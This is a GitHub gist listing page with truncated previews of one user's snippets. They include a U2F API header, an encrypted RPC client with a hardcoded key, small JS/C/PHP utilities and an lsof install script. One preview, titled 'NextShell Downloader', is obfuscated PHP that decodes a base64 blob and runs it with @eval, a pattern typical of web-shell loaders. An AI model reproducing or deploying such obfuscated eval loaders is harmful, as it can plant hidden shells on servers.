Skip to content

Instantly share code, notes, and snippets.

View 19h's full-sized avatar
✔️
This account is verified.

Kenan Sulayman 19h

✔️
This account is verified.
View GitHub Profile
@19h
19h / uf2.js
Created June 18, 2015 15:14
UF2 API for Chrome by Google Inc.
// Copyright 2014 Google Inc. All rights reserved
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd
/**
* @fileoverview The U2F api.
*/
@19h
19h / client.js
Last active August 29, 2015 14:23
End to end encrypted TCP-based RPC server and client.
["crypto", "net"].forEach(function (m) { global[m] = require(m) })
var api = {
key: Buffer([
0x01, 0xB9, 0x43, 0xE4, 0x8B, 0xBD, 0x33, 0x91, 0xF1, 0xE1, 0x25, 0x32, 0xEC, 0x3B, 0xD3, 0x36,
0x5B, 0xB9, 0x5B, 0x96, 0xD9, 0xA0, 0xF5, 0x22, 0x54, 0x31, 0x99, 0xF8, 0xB5, 0xBF, 0x4E, 0xE3
]),
iv: Buffer([
0x4d, 0x4e, 0x34, 0x58, 0x37, 0x66, 0x61, 0x43, 0x4f, 0x52, 0x34, 0x50, 0x45, 0x43, 0x38, 0x4b
@19h
19h / x.c
Last active August 29, 2015 14:24
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
typedef struct {
bool isRoot;
} selectedViewModel;
void log (const char *type) {
write(0, type, strlen(type));
@19h
19h / app.js
Last active August 29, 2015 14:24
var http = require("http"), fs = require("fs");
var index_buf = fs.readFileSync("./index.html");
http.createServer(function (req, res) {
var isClosed;
if (req.url === "/" || req.url === "/index.html") {
res.write(index_buf);
}
@19h
19h / B3NCH.2.4.php
Created November 28, 2010 21:36
B3NCH 2.3 by Kenan Sulayman.
/* B3NCH.php */
<?php
define( "b3nch_", true );
class b3nch {
//json_encode($a,JSON_HEX_TAG|JSON_HEX_APOS|JSON_HEX_QUOT|JSON_HEX_AMP)
private $cache, $b3nch = array();
private $memc = 0;
public function __b3nch_init () {
@19h
19h / Kenan Sulayman.php
Created June 30, 2011 15:29
NextShell Downloader
$gcd45e2ee736="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($gcd45e2ee736(
"JGc3MjIxNDczYzBlYzQ5ZTc3NTI4MGY5ZmYyYmU3NTRiPSJceDYyIjskeWQ0NDliYzM3YzVjZmUyMmUwMDk3OTQ
4ODQyZmY0OGQ9Ilx4NjUiOyRmMTM2OGE5YmIyNWQ4NTY3YzA3NTVhODQxN2JlNzA3MT0iXHg2NiI7JGZjOTJhOTE
4Mjc1OGEwYmZhYmRjNGViNzQ0MTlkNGUxPSJceDY3IjskZ2Y1NWNiM2YwYjk1MWM0MTk4Zjg4ZGFhYmFmMDZjZjk
9Ilx4NmQiOyR1MTM5NTgyYjJkNGFmNzcxMzg3MmZmNGY5M2Y1MDRiND0iXHg2ZiI7JHo0NTAxMzE5NDliODU3MjA
1MTRlZTkzNzliOGQzYzViPSJceDZmIjskdzc4ZmEwNjVjYTE2NjNmMDlkNWM2NjMxYThjODQwMTE9Ilx4NmYiOyR
6ZGQxMzRkOWY3ZTU3ZTI1NTgwZGE3NzBjNjk0OTNmOD0iXHg2ZiI7JGs1MWUxNjIwMTY5NmQ1MDExMGEwMWIyMDY
3Y2EyMjk5PSJceDczIjskcDI0NWE2NjUwYzViNjRhZTVhOGY3NGJhNjIwNTNmM2Y9Ilx4NzMiOyRlMGE4NTdhY2U
yMmQ4M2JhNjZkZWIwMDk1YTNhNzM5ZD0iXHg3MyI7JGhiZWNjZjk1MTllYWU2ZGE3ZTcxM2QzZDgwYzM2MzlmPSJ
ceDczIjskZzcyMjE0NzNjMGVjNDllNzc1MjgwZjlmZjJiZTc1NGIuPSJcMTQxIjskeWQ0NDliYzM3YzVjZmUyMmU
@19h
19h / f!b.js
Created July 20, 2011 02:11
Hightspeed Fibonacci-Function, returns JSON. The iterations are given as parameter.
(function(a){var c;c||(c={});(function(){function b(c,d){var g,i,j,l,n=e,o,q=d[c];q&&typeof q==="object"&&typeof q.toJSON==="function"&&(q=q.toJSON(c));typeof h==="function"&&(q=h.call(d,c,q));switch(typeof q){case"string":return a(q);case"number":return isFinite(q)?String(q):"null";case"boolean":case"null":return String(q);case"object":if(!q)return"null";e+=f;o=[];if(Object.prototype.toString.apply(q)==="[object Array]"){l=q.length;for(g=0;g<l;g+=1)o[g]=b(g,q)||"null";j=o.length===0?"[]":e?"[\n"+e+o.join(",\n"+e)+"\n"+n+"]":"["+o.join(",")+"]";e=n;return j}if(h&&typeof h==="object"){l=h.length;for(g=0;g<l;g+=1)typeof h[g]==="string"&&(i=h[g],(j=b(i,q))&&o.push(a(i)+(e?": ":":")+j))}else for(i in q)Object.prototype.hasOwnProperty.call(q,i)&&(j=b(i,q))&&o.push(a(i)+(e?": ":":")+j);j=o.length===0?"{}":e?"{\n"+e+o.join(",\n"+e)+"\n"+n+"}":"{"+o.join(",")+"}";e=n;return j}}function a(a){d.lastIndex=0;return d.test(a)?'"'+a.replace(d,function(a){var b=g[a];return typeof b==="string"?b:"\\u"+("0000"+a.charCodeAt(0)
@19h
19h / evtlst.js
Created August 8, 2011 17:34
Cross-Compatible Event Listening / Firing
/* Copyright (c) Kenan Sulayman, et al. Do what ever you want, as long as you're crediting the AUTOR. */
Function.prototype.bind = function (object) {
var method = this;
return function () {
return method.apply(object, arguments);
};
};
function EX() {
@19h
19h / quinstallosx.sh
Created December 4, 2011 23:51
Quick-Upgrade LSOF 4.85 for OSX 10.5+ including Lion.
#!/bin/bash
wget ftp://lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_4.85.tar.gz
tar xfv lsof_4.85.tar.gz
cd lsof_4.85
tar xfv lsof_4.85_src.tar ; cd ..
cd lsof_4.85; cd lsof_4.85_src; ./configure darwin; make; sudo make all
sudo rm /usr//sbin/lsof; sudo cp ./lsof /usr//sbin/lsof
cd ..; cd ..; rm -rf lsof_4.85*
clear; echo "Installed lsof 4.85 for OSX 5+."
@19h
19h / pack
Created December 7, 2011 00:51
Javascript Packer b64 / Hexcoding / Repack
#!/usr/bin/php
<?php
class JavaScriptPacker {
const IGNORE = '$1';
private $_script = '';
private $_encoding = 62;
private $_fastDecode = true;
private $_specialChars = false;
private $LITERAL_ENCODING = array('None' => 0, 'Numeric' => 10, 'Normal' => 62, 'ASCII' => 95);
public function __construct($_script, $_encoding = 95, $_fastDecode = true, $_specialChars = false) {